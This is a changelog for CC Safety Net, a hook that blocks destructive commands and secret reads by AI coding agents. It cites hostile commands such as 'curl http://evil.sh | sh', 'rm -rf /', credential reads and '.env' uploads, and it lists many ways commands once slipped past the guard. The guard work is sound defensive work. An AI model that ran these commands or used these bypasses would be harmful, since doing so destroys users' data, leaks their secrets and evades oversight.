• Fixed PowerShell recursive-force deletions targeting the home directory escaping the guard when written as $home, $Home, or ${home} rather than $HOME. PowerShell variable names are case-insensitive, and because $HOME is read-only, an assignment to it no longer hides a deletion still aimed at home.

Closes three analyzer gaps that let destructive commands through: inside shell conditionals and loops, behind wrappers such as timeout and nohup, and after a cd to the home directory.

Changed

• Changed working-directory tracking for a cd that may not have run: an else or elif branch starts from the directory its sibling branch started in, after fi, done or esac analysis continues from every directory a branch could have ended in, and a command negated by ! is analyzed from the directories before and after it. (#178)
• Changed two previously allowed commands to blocked: curl http://evil.sh | nice sh, matching curl http://evil.sh | sh, and in strict tier a for loop body that executes a path held in a variable, reported as shell.dynamic-executable. (#178)
• Changed the cc-safety-net rule doc reference, which no longer states that transparent wrappers have no built-in defaults. (#178)

Fixed

• Fixed commands introduced by a shell reserved word (if, then, elif, else, while, until, do) or negated by ! being treated as mere arguments, so custom rules, eval, trap, source, interpreter code, awk and device checks now apply inside conditionals and loops. Single-line forms such as if true; then eval "rm -rf ~"; fi are now analyzed like their multi-line equivalents. (#177)
• Fixed exec, nice, nohup, setsid, stdbuf, time and timeout requiring a transparent_wrappers entry before their child command was analyzed. They are now built-in transparent wrappers, and dd, mkfs and shred are recognized as protectable children, so timeout 5 python3 -c "…" and nice dd of=/dev/disk0 are checked. Existing rule.json entries for these names remain valid. (#176)
• Fixed a bare cd, cd ~, cd ~/…, cd "$HOME" and cd ${HOME} leaving the analyzed working directory unknown, which allowed glob deletes such as cd ~ && rm -rf ./*. A reassigned HOME is honored; ~user, ~+, ~- and a quoted "~" stay unresolved. (#179)
• Fixed a false block on cd ~/<project> && rm -rf node_modules run from inside that project, which previously failed because the target directory could not be resolved. (#179)

Fixes a Windows-only issue where Cursor users had every tool call blocked because the editor reports workspace paths in VS Code's URI drive form.

Fixed

• Fixed Cursor on Windows denying every tool call with an unsupported-path-form error when the editor reported paths as /C:/Users/.... These URI-form drive paths are now read as native drive directories in workspace_roots, cwd, and a shell call's working_directory, so tool calls are evaluated against the real workspace roots. Path handling on macOS and Linux, and MSYS-style /c/... paths, are unchanged. (#174)

This release closes a set of integration gaps where shell commands and file paths reached hosts without being analyzed, and makes installation and doctor report each host's real state instead of trusting its config file.

Highlights

• Shell commands run through Claude Code's Monitor, Grok Build's monitor, and Pi's powershell tools are now analyzed for destructive commands. Previously those tools were routed as non-command tools, so a command such as git reset --hard was allowed through. (#163)
• Tool inputs that name files in a paths array, a download destination, or a bare patch string are now inspected, so a Copilot CLI search or patch and an Amp thread download can no longer read or write protected paths unchecked. (#164, #166)

Added

• Added OpenCode v1's global ~/.config/opencode/config.json to the protected OpenCode configuration paths. (#173)

Changed

• Changed OpenCode v2 detection so doctor and the policy GUI ask the host for activation state with opencode api plugin.list and report a plugin OpenCode marked failed as not configured, instead of reporting it as configured from the config file alone. These commands may start OpenCode's persistent background service. (#171, #173)
• Changed the OpenCode v2 installer to run opencode plugin add first, run opencode plugin update only when the plugin was already configured, wait for the host to list the plugin, and then confirm an active copy. The install now fails with OpenCode's own error when the plugin failed, and fails when the host lists no active copy. (#169, #173)
• Changed the Codex entry in doctor to state that Codex runs only trusted hooks and that doctor cannot check trust, alongside the /hooks trust step. (#171)
• Documented two analysis limits in SECURITY.md and the README: Codex's exec_command payload omits the call's workdir, and OpenClaw's before_tool_call context exposes no session directory, so on those hosts a command can be analyzed against a different directory than the one it runs in. (#172)

Fixed

• Fixed Copilot CLI hook input handling so an object toolArgs is used as received, an apply_patch payload that arrives as raw *** Begin Patch text is analyzed as a patch, and Copilot's Bash tool is analyzed with shell auto-detection. (#166)
• Fixed Copilot CLI detection to read repository-level enabledPlugins, to count hook entries that omit type or use exec and args, and to keep a standalone hook reported as configured when a repository switches the plugin off. (#171)
• Fixed Gemini CLI analysis to use the directory named by run_shell_command's dir_path rather than the session directory. (#168)
• Fixed Hermes so file-tool calls are analyzed in the directory Hermes resolves their relative paths against, and so installation targets the profile named in active_profile. (#167)
• Fixed host-configuration discovery to follow CLAUDE_CONFIG_DIR, PI_CODING_AGENT_DIR, and OPENCLAW_HOME instead of assuming ~/.claude, ~/.pi/agent, and the OS home directory. (#170, #171)
• Fixed OpenCode v2 first installation, which failed because opencode plugin update ran against a plugin that was not configured yet. (#169)
• Fixed OpenCode v1 plugin discovery when OPENCODE_CONFIG_DIR is set: detection and uninstall now also scan the XDG configuration directory that v1 loads. (#169)
• Fixed a ~ working directory on OpenCode v2 so it resolves to the home directory, matching the host, instead of a literal ~ directory inside the project. (#169)
• Fixed an OpenClaw reinstall after an uninstall, which left the plugin disabled. Installation now enables it and accepts an enable the Gateway saved before a newer configuration reload superseded it. (#170, #173)

This release makes a refused working directory explain itself instead of reporting a generic internal failure, and removes a group of false denials that hit agents working in a temporary scratch directory.

Highlights

• A tool call refused because of its working directory now says which directory and why, and whether to restart the session or pick another directory, instead of the generic "CC Safety Net failed closed" message. (#157)
• Commands that build and use a scratch directory under the temp root — naming a path in a shell variable, cd-ing into it, creating it with mkdir -p, or running find . -delete inside it — are no longer denied. (#158, #160, #161)

Changed

• Changed the denial text checkCommand returns for a working directory it cannot use: it now names the specific problem rather than the generic failed-closed reason. (#157)
• Moved the refused path from the Segment: line to a Working directory: line in the denial message, and recorded it as the audit entry's cwd. (#157)

Fixed

• Fixed working-directory denials across all supported hosts — Claude Code, Codex, Copilot CLI, Gemini CLI, Kimi, Hermes, Cursor, Grok Build, Antigravity, Pi, OpenClaw, Amp and OpenCode — so a session directory that no longer exists asks the user to restart the session, and a per-call directory that is missing or outside the workspace asks for a different directory. (#157)
• Fixed Antigravity refusing a workspace directory whose name begins with two dots, such as ..cache. (#157)
• Fixed a shell script being refused as unverifiable when its path came from a literal shell assignment, as in S=/tmp/scratch; bash $S/build.sh. The same expansion now applies to git -C, git worktree remove, and the file a cat or tee heredoc writes. (#158)
• Fixed an && or || outcome being lost across a pipeline, so A && B | C && D no longer analyzes D as if A had failed. (#158)
• Fixed find . -delete being blocked after a cd, by judging the . starting point as the directory the cd entered. Deleting from a directory that contains the workspace, or from a temp root itself, stays blocked. (#160)
• Fixed a later line being analyzed in the old directory after a successful cd, so cd X && A followed by B now evaluates B in X. A cd whose target is missing, dynamic, a regular file, or starts with ~ still leaves the directory unknown. (#160)
• Fixed a cd into a directory an earlier mkdir or mkdir -p created in the same command being treated as a missing path. A mkdir that may have failed, or one without -p whose parent is missing, records nothing. (#161)

Name-filtered find cleanups are no longer blocked as Git-metadata deletions inside a repository, and two destructive removals that hid behind a shell -c body are now blocked.

Changed

• Improved the denial message for a dangerous command passed as a positional argument to a shell wrapper: forms such as bash -c 'exec sh -c "$1"' _ 'rm -rf /' now name the rule they violate instead of reporting an unverifiable execution source. (#143)

Fixed

• Fixed find deletions filtered by a literal -name or -iname pattern being blocked as a Git-metadata deletion when no protected Git metadata entry can match that pattern, so cleanups such as find . -name '*.pyc' -exec rm {} + run inside a Git repository again. Expressions the check cannot settle — operators, negation, unknown primaries, non-literal patterns, a recursive rm, a shell-wrapped -exec body, {} inside a longer argument, or a fixed -execdir path — stay blocked, as do patterns that do match a metadata entry such as find . -name '*.sample' -exec rm {} +. (#143)

Security

• find -exec and -execdir that hand {} to a shell -c body running rm or rmdir, such as find . -exec sh -c 'rm -rf "$0"' {} \;, are now treated as deleting the found paths. (#143)
• Literal positional arguments are now substituted into a shell -c body before it is analyzed, so sh -c 'rm -rf "$1"' _ / is blocked as a recursive force delete of root instead of being allowed. A body with a non-literal argument is left unchanged, as before. (#143)

Fixes OpenClaw installs and updates that failed against a busy Gateway with a config reload superseded error.

Changed

• Changed OpenClaw installation to leave a plugin that you deliberately disabled in openclaw.json disabled instead of silently re-enabling it; the post-install runtime check then reports the not-loaded status.

Fixed

• Fixed install --openclaw and update failing with Failed to run openclaw plugins enable cc-safety-net (exit 1) ... config reload superseded by a newer runtime config source against a live OpenClaw Gateway. Installation now runs only openclaw plugins install <artifact> --force --accept-capabilities, which already enables the plugin, so the separate enable call can no longer race the Gateway's follow-up config reload. (#142)

Fixes OpenClaw plugin installation, which failed on OpenClaw 2026.8.1 and newer because the non-interactive install now requires capability consent. OpenClaw integration consequently requires OpenClaw 2026.8.1 or newer.

Fixed

• Fixed cc-safety-net install --openclaw and cc-safety-net update failing on OpenClaw 2026.8.1 and newer, where the non-interactive plugin install exited with a capability-consent error. The installer now passes --accept-capabilities. (#141)
• Fixed the persistent "requires capability consent" warning for plugins installed before OpenClaw 2026.8.1; reinstalling records the acceptance and clears it.

Breaking Changes

• OpenClaw integration now requires OpenClaw 2026.8.1 or newer, because older OpenClaw releases reject the --accept-capabilities option the installer passes. Other hosts are unaffected.
• Migration: Upgrade OpenClaw to 2026.8.1 or newer before running cc-safety-net install --openclaw or cc-safety-net update.

Closes two gaps that let destructive commands slip past the gate: absolute-path env wrappers and custom rules inside nested shell commands.

Fixed

• Fixed destructive commands being allowed when invoked through an absolute-path wrapper such as /usr/bin/env git reset --hard, /usr/bin/env rm -rf ../outside, or the same commands behind sudo. Wrapper detection now compares the basename of the command, so a full path is unwrapped the same way a bare env is. (#138)
• Fixed custom policy rules being skipped for commands nested inside bash -c, sh -c, eval, and shell function bodies when the command had a built-in analyzer, such as rm, rmdir, git, find, xargs, and parallel. Custom rules now apply at every nesting depth. (#139)

Secret allow paths can now exempt a single file name at any depth under a folder, such as ~/code/**/.env.local, without opening up other secret files.

Added

• Added recursive basename patterns to secret_protection.allow_paths: an entry such as ~/code/**/.env.local exempts only that exact file name, at any depth under the named folder. Other env variants and all other secret patterns stay blocked, configured deny_paths and Coding CLI protections still win, and the folder before **/ is required and cannot be your home directory or a folder above it, so credentials such as ~/.ssh/config and ~/.npmrc remain protected. (#136, #135)

Changed

• Improved the rejection message for unsupported secret allow-path globs so it names the one supported form (~/code/**/.env.local) instead of stating that globs are not allowed.
• Updated the Policy screen in cc-safety-net gui to describe and suggest the new recursive form in the secret allow-paths help text and input placeholder.

Fixed

• Fixed validation of secret_protection.allow_paths on Windows: entries written with backslashes and a home alias (~, $HOME, ${HOME}) are now expanded before validation, so an entry that would cover your home directory or the guard's own configuration is rejected as intended.

Standard mode now tells reads and executions apart from mere mentions of a sensitive file name or a destructive command, so far fewer safe commands are blocked. Strict and paranoid modes keep every previous denial.

Highlights

• Reduced standard-mode false positives across secret protection, heredoc bodies, interpreter string literals, and xargs shell bodies. (#132)
• Fixed gh and git text flag values being read as file paths, so searches, titles, bodies, jq filters, and commit messages no longer trip secret protection. (#131, #133)

Added

• Added an approval prompt for commands standard mode cannot verify: the Claude Code hook now answers with permissionDecision: "ask" and the message CC Safety Net could not verify this command instead of denying. This applies only in the default, acceptEdits, and plan permission modes; every other mode, every other host, and strict and paranoid modes keep denying. (#132)

Changed

All changes below apply to standard mode only; strict and paranoid modes are unchanged.

• Changed metadata-only checks of built-in sensitive paths (ls, stat, test -e/-f, [ -e/-f ], git check-ignore, and find with no actions) to be allowed as one segment of a compound command, not only when standalone.
• Improved built-in sensitive-path matching so a secret file name that names an existing directory, a word containing whitespace that neither starts like a path nor exists on disk (such as for c in 'cat ~/.aws/credentials'), and an output redirection that creates a secret-named file where none exists are no longer treated as reads. Home-directory and coding-CLI credential rules are never relaxed.
• Changed unquoted heredocs whose body expands only variables, with no $(…) or backtick substitution, to be treated like quoted heredocs. A script written from such a heredoc is still analyzed when a later command runs it.
• Changed a destructive command written as an interpreter string literal to block only where an execution call can receive it, or where the code holds backticks, %x, or qx.
• Changed xargs input spliced into a sh -c body to count as a data word when it never starts a command and the body stays harmless with / in its place, so grep -rl TODO src | xargs -I{} sh -c 'echo "--- {}"; head -3 {}' is allowed while xargs -I{} sh -c 'rm -rf {}' and xargs -I{} sh -c '{} --verbose' stay blocked.
• Changed eval of a single literal local generator command to also accept the unquoted form, so eval $(opam env) is allowed alongside eval "$(ssh-agent -s)".
• Improved interpreter detection so uv run python - and an interpreter reading its program from - followed by script arguments are recognized as stdin programs.

Fixed

• Fixed gh and git text flag values being inspected as file paths. gh issue list --search credentials, -S, --title/-t, --body/-b, --jq/-q, the git commit, merge, notes, stash, and tag message flags including clusters such as -am and -nm, and git log --grep are now read as text. File-taking options such as --body-file, --input, and git commit -F, plain operands, and command substitutions inside a text value are still inspected. (#131, #133)
• Fixed find -files0-from FILE not being treated as a read of FILE, so find -files0-from .env is blocked and find with that option no longer counts as a metadata-only check.

Closes a coverage gap where git checkout path restores were allowed at every protection level unless the command used a -- separator.

Fixed

• Fixed separator-free git checkout path restores being allowed. Commands such as git checkout ., git checkout src/, git checkout src/app.ts, and glob operands such as git checkout '*.ts' are now blocked by the git.checkout-double-dash rule, which points to git stash or git switch. (#128)

Changed

• Changed a lone git checkout operand to count as a path restore when it is spelled as a path (., .., ./…, ../…, : magic pathspecs, absolute or drive-letter forms, or a trailing slash) or when it names an existing entry in the working tree. Bare branch names such as git checkout main, along with the -b, -t, --track, and --detach forms, stay allowed. A branch whose name matches an existing file or directory is now blocked instead, with guidance to use git switch. (#128)

This release removes false positives on disposable work in temporary directories: the analyzer now tracks a literal cd, so recursive deletes and Git discards inside a temp-root repository unrelated to your workspace are recognized as safe.

Highlights

• Git discards and forced worktree removals that target a temp-root repository unrelated to your workspace are now allowed without any toggle, while force pushes and anything that reaches your workspace stay blocked.

Added

• Added a Temp-root relaxation step to explain output that names the Git working directory permitting a discard.

Changed

• Changed the analyzer to stop tracking the working directory when a segment assigns or appends to CDPATH, and to leave a bare cd operand untracked while CDPATH could redirect it, so a relaxation is never granted for a directory the shell may not actually enter.
• Changed the rule reported for a self-targeting delete after a tracked cd, such as cd /tmp; rm -rf ., to the more specific rm.recursive-force-cwd-self or rm.git-metadata instead of rm.recursive-force-outside-cwd. The command is still blocked; only the ruleId in explain --json changes.

Fixed

• Fixed rm -rf with a relative target being blocked after a cd into a temporary directory. The analyzer now resolves a literal cd operand past -L, -P, and -- and treats the target as a temp delete. (#124)
• Fixed Git discards such as git reset --hard and git clean -fdx being blocked in a temp-root repository reached through a tracked cd, including a cd whose operand expands from a literal assignment or from a literal for list of at most eight words. A force push, a discard aimed through GIT_DIR or another explicit Git context, and a repository that is or contains your workspace remain blocked. (#125)
• Fixed git worktree remove --force being blocked when its operand is an existing absolute temp-root directory unrelated to your workspace. A relative, missing, symlinked, or dynamically built operand still keeps the rule. (#126)

This release adds OpenCode 2.0.6+ support alongside the existing OpenCode v1 integration. It also raises the minimum supported OpenCode v1 version to 1.18.29.

Highlights

• Added OpenCode 2.0.6+ support, using the same policy, analyzer, and audit behavior as the v1 integration. (#123)

Added

• Added protection on OpenCode v2 through its tool hook, covering shell commands and read, edit, write, patch, grep, glob, and unknown-tool inputs, with typed tool denials. Code Mode child tool calls pass through the same hook. (#122)
• Added v2 installation and updates to npx -y cc-safety-net@latest install --opencode, which detects the host version and uses opencode plugin add and opencode plugin update, then confirms the plugin is registered in opencode plugin list.
• Added a shell plugin option for OpenCode v2 that sets the expected dialect (posix or powershell). The plugin defaults to POSIX on Unix and PowerShell on Windows, verifies the actual executable before a shell starts, and rejects a mismatched or unsupported shell rather than analyzing it with the wrong parser. See docs/opencode-compatibility.md.
• Added the /cc-safety-net command on OpenCode v2. A command of that name already present when the plugin loads is preserved.
• Added the cc-safety-net/opencode/v2 entry point for TypeScript consumers using the OpenCode v2 SDK. v1 consumers continue to use CCSafetyNetPlugin from cc-safety-net.

Changed

• Changed install --opencode to stop with a migration message when an OpenCode v2 config already lists cc-safety-net under a spec other than cc-safety-net@latest, instead of creating a duplicate plugin ID. Change that entry's package spec, keeping its options and comments, then retry.

Fixed

• Fixed OpenCode config discovery to honor the OPENCODE_CONFIG_DIR override, which affects both integration detection and uninstall.
• Fixed uninstall to remove cc-safety-net entries from every detected OpenCode config file instead of stopping at the first one, and to report accurately whether an entry was removed.
• Fixed OpenCode detection and uninstall to recognize both the plugin and plugins arrays and object-form plugin entries, and to match only the cc-safety-net package spec instead of any entry whose name contains it.
• Improved OpenCode config editing so removing a plugin entry preserves neighboring comments in JSONC configs.

Breaking Changes

• Raised the minimum supported OpenCode v1 version to 1.18.29, up from 1.18.3. install --opencode now stops with a version error on older releases.
• Migration: Upgrade OpenCode to 1.18.29+ or 2.0.6+ before updating CC Safety Net.

This release closes three command-analysis gaps where a destructive command could be hidden from the gate, and removes a false positive that denied plain git network commands for anyone whose shell exports an SSH override.

Highlights

• Fixed heredoc handling so a carriage-return-suffixed delimiter line can no longer end a heredoc early and let the rest of its body run unanalyzed. (#115)
• Stopped denying git fetch, git pull, and git push with git.ssh-env when GIT_SSH_COMMAND, GIT_SSH, or GIT_SSH_VARIANT is inherited from the user's shell profile. Inline assignments such as GIT_SSH_COMMAND=./evil git fetch and -c core.sshCommand=... overrides still deny. (#119)

Changed

• GNU Parallel forms the analyzer cannot follow now deny as parallel.command-stream-dynamic: multiple ::: groups, negative {-n} placeholders, and --workdir/--wd. The child command is still expanded and re-rooted, so a catastrophic root or home deletion is still caught when the stream rule is off. (#121)
• A placeholder that lands in a position owned by a configured rule's command is now treated as dynamic input and denies with the existing xargs.shell-dynamic and parallel.shell-dynamic ids. (#121)
• Improved GNU Parallel job expansion to charge the shared analysis budget as it builds, so a wide ::: product fails closed promptly instead of constructing a very large job matrix before the denial. (#121)
• Changed --workdir tilde handling so only a leading ~ expands and a tilde inside a path component is literal, as the shell treats it. This also fixes workdir re-rooting on Windows paths containing 8.3 short names such as C:\Users\RUNNER~1\.... (#121)
• An override with an unknown rule id and a value other than on or off now reports one diagnostic instead of two. (#120)
• rule init --example now writes the project-scope description and author into the example rulebook instead of the user-scope wording. (#121)

Fixed

• Fixed policy-target comparison on macOS, where a hard link to a policy file could make two lookups of the same path disagree and flip a verdict. Targets are now canonicalized through their parent directory; hard links remain distinct targets. (#117)

Removed

• Removed shadowedRules from doctor --json; its only value was an empty array. (#121)
• Removed isOverriddenToNonTemp from the tmpdir-check step of explain --json; it was the negation of the allowTmpdirVar value next to it. (#120)
• Removed the accepted-but-ignored rule --check flag; cc-safety-net rule --check now reports an unknown option. (#121)

Security

• A heredoc body now ends only at a byte-exact delimiter line, matching bash. A heredoc written with CRLF no longer closes at a bare delimiter line, so a payload such as $(rm -rf /) placed after one is analyzed instead of allowed; at strict safety an unterminated heredoc fails closed. (#115)
• Brace expansion at command position now uses the quote-aware scanner, so {"rm",ls} -rf /, {'rm',ls} -rf /, and {r\m,ls} -rf / deny rm.recursive-force-root-or-home instead of parsing a literal command head. (#120)
• The secret walk of bash -c now resolves the command operand through the shell's own option grammar, so bash -c -- "cat .env" and the -x and -s variants are checked for secret access, and an option value such as bash -O .env -c ... is no longer re-read as the command. (#120)

A patch release that repairs plugin installation for Amp and OpenClaw when running the published package.

Fixed

• Fixed cc-safety-net install --amp and cc-safety-net install --openclaw failing with a "Packaged ... artifact not found" error when run from the published package (for example via npx -y cc-safety-net). The packaged plugin artifacts are now also looked for beside the bundled CLI, where they actually ship.

v2.4.0 rebuilds the runtime from the ground up. The hook, CLI, API, GUI and all thirteen host integrations keep their behavior, verified command by command against v2.3.4 before the old code was removed. What changes is what you feel: every hook call is less than half as long, the package has no runtime dependencies, and secret protection now follows cd.

Highlights

• Hook calls are 2.2× faster. A tool call on Claude Code went from 195 ms to 85 ms on the verification machine, and the p90 tail from 229 ms to 89 ms. Peak memory per call dropped from 76 MB to 56 MB and CPU time from 220 ms to 94 ms.
• Zero runtime dependencies. zod is gone, the published manifest declares no dependencies, and package verification fails if one reappears. The Amp and OpenClaw plugin bundles shrank from 428 KB to 314 KB each.
• Secret protection follows cd. cd ~ && cat .ssh/config and its pipe, redirection and variable forms are now denied at every level, with the operand reported as the evidence. No policy change is needed.
• Fewer false positives. jq filters ending in .key (#112), << inside interpreter code under strict (#111), a POSIX heredoc feeding a Python script, and string literals inside inline Python, JavaScript, Ruby, Perl and PHP code (#114) are no longer denied.

Performance

Hook invocation, measured as hooks/hooks.json runs it: a fresh Node process per tool call, isolated HOME, fresh git repository as the working directory. Median of 40 interleaved rounds, Node 22 on a 4-core Linux container, bare node -e "" ≈ 40 ms. Decisions were identical on every scenario.

| Scenario | v2.3.4 | v2.4.0 | Δ | |---|---:|---:|---:| | allow ls -la | 195 ms | 85 ms | −57% | | deny rm -rf / | 183 ms | 80 ms | −56% | | git status && bun test \| grep x | 206 ms | 98 ms | −53% | | p90, allow path | 229 ms | 89 ms | −61% | | peak RSS | 75.5 MB | 55.9 MB | −26% | | CPU, user + system | 220 ms | 94 ms | −57% |

Time spent above bare Node, the part cc-safety-net controls, went from ~155 ms to ~45 ms.

In-process callers see the same gain. Through the public checkCommand API, a decision costs ~1.5 ms instead of ~3 ms, so the OpenCode, Pi, Amp and OpenClaw integrations handle ~670 decisions per second where they handled ~330.

Where the time went:

• The hook loads only what a decision needs. The bin resolves the hook verb before one dynamic import of the CLI, so the hook path loads about 350 KB of JavaScript instead of about 808 KB. explain, status, doctor and the rest sit behind that import and pay for it only when invoked.
• node:crypto left the hook's static closure. Audit ids and temp-file suffixes need uniqueness, not unpredictability, and now come from a Math.random helper with the same sixteen-hex shape. A test fails if the hook's import closure grows past 400 KB (measured 344 KB).
• The hook ships as a CommonJS bundle behind a compile-cache loader. Skipping the ES module loader is worth 13 to 15 ms per call. dist/bin/cc-safety-net.js is now a tiny loader that enables Node's compile cache and requires dist/bin/hook.js, so the bundle's bytecode is cached after the first run under ~/.cc-safety-net/compile-cache. The first run per home pays 15 to 30 ms once; a Node without the API runs uncached.
• Secret protection stops re-deriving constant paths. Coding-CLI roots are memoized per decision, and win32.parse is skipped on paths without a backslash. This is most of the in-process throughput gain.

Measured and rejected: a V8 startup snapshot (7 MB per Node version, only 3 ms better than the shipped bin) and running the bin under Bun. A persistent daemon is the only way below the current floor and stays out of scope.

Two costs worth knowing: the npm tarball grew from 521 kB to 532 kB because the CommonJS hook bundle carries its own copy of the gate beside the ESM chunk the other entries share, and one ~220 KB compile-cache file per Node version accumulates under ~/.cc-safety-net/compile-cache.

Changed

• Changed secret-protection path resolution to follow the shell's directory scope: cd - returns to the previous directory, a cd inside a subshell, $( ), backticks or a process substitution ends with that shell, and a brace group or function body keeps its cd. A sh -c body is walked as shell, so a cd inside it counts. pushd/popd stay untracked. Commands that read a protected file after a cd are denied where they were previously allowed. No policy, rule or level change is required.
• Changed standard mode to keep an interpreter string literal as a path candidate only when the surrounding code holds a filesystem, command-execution or eval marker. Strict mode still keeps every literal and scans inside literal text.
• Improved the Config warning: line a denial carries when policy.json holds something the loader will not accept: it now names the dropped section or field, for example safety.level: not one of standard, strict, paranoid, instead of repeating schema wording. cc-safety-net doctor and cc-safety-net policy check keep their existing wording.

Fixed

• Fixed inline jq, gojq and jaq filters ending in .key being denied as sensitive filenames (#112).
• Fixed << inside interpreter code, such as a JavaScript template literal, blocking under strict with an unsupported-heredoc error (#111).
• Fixed a POSIX heredoc being auto-detected as PowerShell, which denied a command whose heredoc body merely mentioned a PowerShell command.
• Fixed interpreter code being scanned as shell text: a heredoc, pipe or -c body handed to a non-shell interpreter is now read as code, so its string literals no longer become bare path operands. A literal passed to a shell-exec call such as os.system, subprocess.* or execSync is still walked as shell and still denies (#114).
• Fixed a sh -c body being matched by the inline-code scanner rather than walked as shell, which denied a display-only printf '%s' .env inside sh -c while allowing the same command at the top level; a body that reads a protected file, such as sh -c 'cd ~ && cat .ssh/config', now denies.
• Fixed printf format operands without conversions being forwarded as path candidates in pipe analysis.
• Fixed a find -exec body inside an unknown wrapper command skipping the full analysis, which allowed shapes such as custom-tool -x find . -exec dd of=/dev/sda \;.
• Fixed non-BMP characters, including emoji, being corrupted when decoding quoted filenames in Git patch headers.
• Fixed a git config probe inside a linked worktree timing out after 2 seconds on a cold process, which withheld a relaxation and could deny a command that should have been allowed; the cap is now 5 seconds.
• Fixed the policy GUI answering from the repository shape it saw at startup, so a .git marker created or removed while the GUI is open now changes the command tester's answer immediately.

Removed

• Removed the zod runtime dependency. The published package declares no dependencies and no longer ships THIRD_PARTY_LICENSES.txt.

Security

• Improved diagnostic redaction: an assignment whose quote is never closed now has its entire remaining value redacted, instead of leaving the tail of the value in diagnostic output.

Fixes a secret-protection false positive where an allowlisted file was still blocked when it was passed as an assignment value.

Fixed

• Fixed allowlisted paths being blocked when supplied through an export assignment or Git's global -c option, such as export GIT_SSL_CAINFO=/path/to/ca.pem or git -c http.sslCAInfo=/path/to/ca.pem ls-remote origin. Explicit denyPaths entries and coding-CLI configuration protection still take precedence, and ordinary filenames containing = are still inspected as paths. (#109)

A Windows-focused fix release: native paths are no longer lost when guards inspect command-style input from unregistered tools, the Hermes Agent plugin now works on Windows, and audit-log project filtering handles Windows paths.

Fixed

• Fixed guards losing native Windows paths in command-style input from tools outside the adapter registry. Such input is now parsed with PowerShell rules on Windows, so policy and secret protection recognize targets such as C:\Users\<user>\.cc-safety-net\policy.json. Metadata-only ls and stat on these inputs stay allowed in Standard mode and are blocked in Strict and Paranoid. (#101, #102)
• Fixed the Hermes Agent plugin erroring on Windows. The generated pre-tool-call hook no longer requests a POSIX-only process session that Windows rejects, and an analyzer timeout now terminates the analyzer process tree with taskkill and still returns an explicit block. (#104)
• Fixed cc-safety-net logs --project not matching directories nested under the given project on Windows, where the filter assumed / path separators. (#106)

CC Safety Net now ships a native Codex plugin, so Codex runs the same destructive-command and secret-access checks before a tool call as the other supported agents.

Added

• Added a native Codex plugin: the package now ships a Codex plugin manifest and a PreToolUse hook definition that runs CC Safety Net before Codex executes a tool. (#100)
• Added the hook --codex (-cx) flag so the CLI can be wired into Codex as a PreToolUse hook directly. (#100)

Changed

• Codex hook decisions are now recorded with codex as the agent in the audit log instead of relying on transcript-path detection, so cc-safety-net logs --agent codex reliably shows them. (#100)

Closes five detection gaps in command analysis: curl uploads of secret files, downloads piped to a shell inside unscanned bodies, live substitutions in unquoted heredocs, function keyword definitions, and PowerShell home-path spellings.

Fixed

• Fixed curl uploads that read sensitive files being allowed. -d @.env, -F file=@.env, --data-ascii, --data-binary, --data-urlencode, and <file form parts are now blocked, including the attached (-d@.env), =-joined (--data=@.env), and clustered (-sF file=@.env) spellings. --data-raw, --form-string, and @- still pass, because they never open a file.
• Fixed downloads piped to a shell going undetected inside command bodies the parser does not descend into, such as a heredoc fed to bash. curl ... | sh and its wget, nc, and aria2c variants are now blocked, including sudo, env, command, and builtin wrappers and line continuations, while benign pipes such as curl ... | jq . stay allowed.
• Fixed unquoted heredoc bodies hiding live code. $(...) and backtick substitutions in such a body are now parsed and matched against the full rule set, so cat <<EOF with $(find . -delete) reports the find.delete rule instead of a generic text match. Quoted (<<'EOF') bodies and escaped \$(...) remain inert data.
• Fixed bash function name { ... } and function name() { ... } definitions not being parsed. Commands inside such a function are now analyzed when it is called, including mutations of the protected policy file.
• Fixed PowerShell secret checks missing native path spellings. A $HOME\, $env:USERPROFILE\, $env:HOME\, or ~\ prefix now resolves for Get-Content, Set-Content, Add-Content, Copy-Item, Move-Item, Remove-Item, and the aliases gc, cat, type, cp, mv, rm, and del, and a backtick escape inside the path no longer hides it. A path assembled any other way, such as concatenation, a subexpression, or Join-Path, stays out of scope.

This release adds team-shareable project policies with a human-confirmed policy apply, curated official rulebooks for infrastructure CLIs, and replaces the rulebook lock-and-cache with live vendored files. Installs that added GitHub rulebooks on 2.2 or earlier need a one-time rule sync per scope after upgrading.

Highlights

• Added a project policy scope: a team lead commits .cc-safety-net/policy.json and every clone picks it up with no member action, layered over each member's own user policy. (#97)
• Added official rulebooks for Terraform, AWS, gcloud, and Azure, installable with cc-safety-net rule add --only terraform aws --global. (#96)
• Changed rulebooks to live files: the runtime reads each rulebook.json on every tool call, so an edit applies to the next command with no sync step. (#97)

Added

• Added cc-safety-net policy check <file> to validate a policy proposal and print its diff, and cc-safety-net policy apply <file> to write it after an interactive terminal confirmation. Add --global to target the user policy instead of the project one.
• Added project-scope policy merging: the project file supplies safety level, per-feature toggles, per-rule overrides, and path lists, while any field it leaves out keeps inheriting from the user policy. Per-rule overrides merge by rule id, path lists are the union of both scopes, and audit stays user scope only.
• Added project-policy reporting across every surface: status shows the project policy path and a line-by-line list of what it relaxed, doctor prints the same deltas under Effective Safety, explain names the scope that supplied the safety preset, and the status line shows a 🔻 marker.
• Added a "Draft project policy" mode to cc-safety-net gui: pick a project directory, mark only the fields to write, review the merged diff and relaxation warnings, and save .cc-safety-net/policy.json. (#98)
• Added repository-wide rulebook installs: rule add owner/repo adds every rulebook on the default branch, --only <rulebook...> selects specific ones, and --ref <ref> picks a branch, tag, or commit. Running rule add --only <rulebook...> with no source selects from the official cc-safety-net/rulebooks repository. The command now prints the scope it wrote to and the rulebooks and commits it vendored.
• Added rulebook_version 2, which replaces subcommand and block_args with an exact-token match object (command_path, any_args, exclude_args). Value-taking global options for aws, gcloud, and az are recognized when locating the command path, so options such as --profile prod do not defeat a rule. Version 1 rulebooks keep their fields and behavior.
• Added fixture evaluation for version 2 rulebooks: their tests entries are checked against the rulebook's own rules by rule add, rule update, and rule verify, and a failing fixture rejects the source before it is written. Fixture commands are analyzed, never executed.
• Added support for GitHub refs containing /, such as owner/repo#feature/rulebook-v2.

Changed

• Changed remote rulebook handling: rule add validates and vendors the rulebook files into your own configuration, and nothing updates in the background. Run rule update [source] to re-fetch and rewrite the vendored copies; a source with an ordinary update failure keeps its existing copy while the others still update.
• Changed rule list to describe version 2 rules by their command path and any_args/exclude_args instead of printing an empty Block args row.
• Changed the /cc-safety-net skill into a full operator: it explains why a command was blocked, triages false positives, authors rules and policy proposals, manages agent CLI integrations, and diagnoses protection. It is manual-only and never triggers on its own.
• Changed doctor to report leftover rulebook lock and cache files from an earlier version, with the command that migrates them.

Breaking Changes

• Replaced the rule sync synchronization step: rulebooks no longer have a lock or cache, and the command now only migrates leftovers from an earlier install.
